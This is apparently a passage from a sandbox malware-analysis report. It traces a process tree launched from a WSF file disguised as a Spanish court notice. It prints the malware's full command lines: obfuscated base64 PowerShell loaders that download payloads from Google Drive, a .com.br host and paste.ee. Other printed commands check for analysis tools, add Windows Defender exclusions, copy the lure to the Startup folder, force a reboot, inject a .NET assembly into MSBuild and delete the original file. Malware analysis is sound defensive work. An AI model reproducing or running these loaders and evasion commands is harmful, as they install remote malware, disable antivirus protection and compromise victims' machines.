'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF');powershell $pypll
                                            2⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:5008
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:3048
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
                                                4⤵
                                                • Blocklisted process makes network request
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:1332
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                                                  5⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:1756
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                                                  5⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:320
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\kgpee.ps1"
                                                  5⤵
                                                  • Blocklisted process makes network request
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious use of SetThreadContext
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:4636
                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                    6⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2964
                                                • C:\Windows\SYSTEM32\cmd.exe
                                                  cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
                                                  5⤵
                                                    PID:4300
                                          • C:\Windows\System32\WScript.exe
                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra (1).WSF"
                                            1⤵
                                            • Blocklisted process makes network request
                                            • Checks computer location settings
                                            PID:3024
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 